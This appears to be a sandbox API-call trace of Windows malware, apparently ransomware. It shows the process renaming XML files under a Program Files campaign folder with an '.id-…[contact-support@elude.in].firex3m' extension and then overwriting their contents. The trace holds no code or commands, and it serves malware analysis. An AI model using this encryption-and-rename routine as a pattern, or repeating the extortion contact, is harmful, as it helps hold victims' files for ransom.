[0214.182] GetProcessHeap () returned 0x630000 [0214.182] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7128660, Size=0x4f40) returned 0x7128660 [0214.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office 15\\isspos.exe" (normalized: "c:\\program files\\microsoft office 15\\isspos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0214.183] Sleep (dwMilliseconds=0x1) [0215.989] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml") returned 1 [0215.989] GetProcessHeap () returned 0x630000 [0215.989] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fd4) returned 0x74d7f88 [0215.989] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0215.989] CloseHandle (hObject=0x42c) returned 1 [0215.989] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0215.990] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0215.990] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5500 [0215.991] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0215.991] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-ch\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0215.991] GetProcessHeap () returned 0x630000 [0215.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0215.991] GetProcessHeap () returned 0x630000 [0215.991] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0215.991] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.991] ReadFile (in: hFile=0x42c, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x5c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0215.994] GetProcessHeap () returned 0x630000 [0215.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0215.994] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.994] WriteFile (in: hFile=0x42c, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x5c3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0215.994] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.994] WriteFile (in: hFile=0x42c, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0215.994] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.994] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0215.994] CloseHandle (hObject=0x42c) returned 1 [0215.995] GetProcessHeap () returned 0x630000 [0215.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0215.995] GetProcessHeap () returned 0x630000 [0215.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0215.995] GetProcessHeap () returned 0x630000 [0215.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0215.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0215.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46b1dd9a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0xaec7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5580 [0215.995] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0215.995] Sleep (dwMilliseconds=0x1) [0217.521] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml") returned 1 [0217.521] GetProcessHeap () returned 0x630000 [0217.521] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50bc) returned 0x6fe3bb0 [0217.521] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0217.547] CloseHandle (hObject=0x6cc) returned 1 [0217.547] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.547] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.548] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0217.548] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0217.548] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0217.548] GetProcessHeap () returned 0x630000 [0217.548] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4470 [0217.548] GetProcessHeap () returned 0x630000 [0217.548] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3b38 [0217.548] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.548] ReadFile (in: hFile=0x6cc, lpBuffer=0x70f4470, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4470*, lpNumberOfBytesRead=0x5c3ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.551] GetProcessHeap () returned 0x630000 [0217.551] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0217.551] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.551] WriteFile (in: hFile=0x6cc, lpBuffer=0x70f3b38*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3b38*, lpNumberOfBytesWritten=0x5c3ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0217.551] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.551] WriteFile (in: hFile=0x6cc, lpBuffer=0x70f3cd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f3cd7*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.551] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.551] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.552] CloseHandle (hObject=0x6cc) returned 1 [0217.552] GetProcessHeap () returned 0x630000 [0217.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f3b38 | out: hHeap=0x630000) returned 1 [0217.552] GetProcessHeap () returned 0x630000 [0217.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4470 | out: hHeap=0x630000) returned 1 [0217.552] GetProcessHeap () returned 0x630000 [0217.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0217.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.553] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e93ff63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e93ff63, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x479de827, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x5c3fd20, dwReserved1=0x70f4470, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5040 [0217.553] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0217.553] Sleep (dwMilliseconds=0x1) [0217.556] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml") returned 1 [0217.556] GetProcessHeap () returned 0x630000 [0217.556] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b4) returned 0x6fe3bb0 [0217.556] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0217.556] CloseHandle (hObject=0x6cc) returned 1 [0217.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.557] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.557] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x3, dwReserved1=0x800001, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5380 [0217.558] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0217.558] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-xl\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0217.558] GetProcessHeap () returned 0x630000 [0217.558] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6efcb0 [0217.558] GetProcessHeap () returned 0x630000 [0217.558] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6efa08 [0217.558] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.558] ReadFile (in: hFile=0x6cc, lpBuffer=0x6efcb0, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efcb0*, lpNumberOfBytesRead=0x5c3ff0c*=0x260, lpOverlapped=0x0) returned 1 [0219.137] GetProcessHeap () returned 0x630000 [0219.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0219.137] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.137] WriteFile (in: hFile=0x6cc, lpBuffer=0x6efa08*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efa08*, lpNumberOfBytesWritten=0x5c3ff0c*=0x260, lpOverlapped=0x0) returned 1 [0219.138] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.138] WriteFile (in: hFile=0x6cc, lpBuffer=0x6efc67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efc67*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.138] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.138] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.138] CloseHandle (hObject=0x6cc) returned 1 [0219.138] GetProcessHeap () returned 0x630000 [0219.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efa08 | out: hHeap=0x630000) returned 1 [0219.138] GetProcessHeap () returned 0x630000 [0219.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efcb0 | out: hHeap=0x630000) returned 1 [0219.138] GetProcessHeap () returned 0x630000 [0219.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0219.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.138] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-XL\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4edb3a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4edb3a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x489137c6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x5c3fd20, dwReserved1=0x6efcb0, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0219.139] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0219.139] Sleep (dwMilliseconds=0x1) [0220.666] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x5c3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml") returned 1 [0220.666] GetProcessHeap () returned 0x630000 [0220.666] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5124) returned 0x6fe3bb0 [0220.666] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0220.667] CloseHandle (hObject=0x5ec) returned 1 [0220.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.668] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ms-my\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x69002e, 